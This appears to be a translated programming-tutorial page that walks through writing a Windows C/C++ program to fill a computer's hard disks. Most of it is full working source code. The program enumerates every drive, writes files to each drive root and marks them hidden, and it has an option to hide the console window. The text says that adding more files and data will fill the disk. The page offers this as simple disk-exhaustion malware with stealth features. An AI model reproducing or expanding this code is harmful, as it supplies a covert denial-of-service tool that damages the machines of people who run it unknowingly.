Home > Backend Development > C#.Net Tutorial > C/C++ easily writes programs that can fill up the hard disk

C/C++ easily writes programs that can fill up the hard disk

黄舟
Release: 2017-01-22 14:15:07
Original
2048 people have browsed it

About writing a program that can fill up the hard disk

Let’s think about the idea first:

Step 1: Get the logical drive letter

Step 2: Create the file

Step 3: Write data to the file

Extension requirements:

1: Hide the window

2: Set the file to hidden attributes


Let’s introduce an API for the above ideas and give the source code after accepting it


GetLogicalDriveStrings function

Fills a buffer with strings that specify valid drives in the system.

DWORD WINAPI GetLogicalDriveStrings(  
  _In_  DWORD  nBufferLength,  
  _Out_ LPTSTR lpBuffer  
);
Copy after login

C/C++ easily writes programs that can fill up the hard disk

This function reads the available disks in the system into lpBuffer

Success Then the total length obtained is returned.

There are two cases of failure: one is that the buffer is not long enough, and the other is other problems.


Regarding other API functions, both It is relatively simple. Some functions can be known from the meaning of the name. I will not introduce them here. There are also comments in the source code.

Look at the source code below

#include <Windows.h>  
  
int main()  
{  
    //FreeConsole();    //隐藏控制台  
  
    char strDriveStrings[MAXBYTE] = { 0 };  
  
    //获取逻辑地址  
    DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);  
  
    for (size_t i = 0; i < dwDriveStrLen; i += 4)    //每4个字节表示一个盘符               
    {  
        char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };  
        strncpy_s(strRoot,&strDriveStrings[i], 4);  
        strcpy_s(strTargetPath, strRoot);  
  
        //创建100个文件  
        for (int j = 0; j < 100; j++)  
        {  
            char TempStrTargetPath[MAX_PATH];  
            strcpy_s(TempStrTargetPath, strTargetPath);  
            char FileName[MAXBYTE];  
            char Date[MAXBYTE] = "11111";  
            wsprintf(FileName, "%d.txt", j);  
            strcat_s(TempStrTargetPath, FileName);  
  
            //创建文件  
            HANDLE hFile;  
            hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  
            if (hFile == INVALID_HANDLE_VALUE)  
                continue;  
            DWORD Pointer;  
  
            //写入数据  
            WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL);  
            CloseHandle(hFile);  
  
            //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值  
            memset(FileName, 0, sizeof(FileName));  
  
            //设置为隐藏  
            SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN);  
        }  
          
    }  
    return 0;  
}
Copy after login

Set the file browsing properties:

C/C++ easily writes programs that can fill up the hard disk

The running results are as follows:

C/C++ easily writes programs that can fill up the hard disk

If the following problems occur:

C/C++ easily writes programs that can fill up the hard disk

Modify the character set as follows:

C/C++ easily writes programs that can fill up the hard disk

So as long as you create a few more files and more data, the hard disk will be filled up

The above is C/ C++ can easily write the content of a program that can fill the hard disk. For more related content, please pay attention to the PHP Chinese website (www.php.cn)!
Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template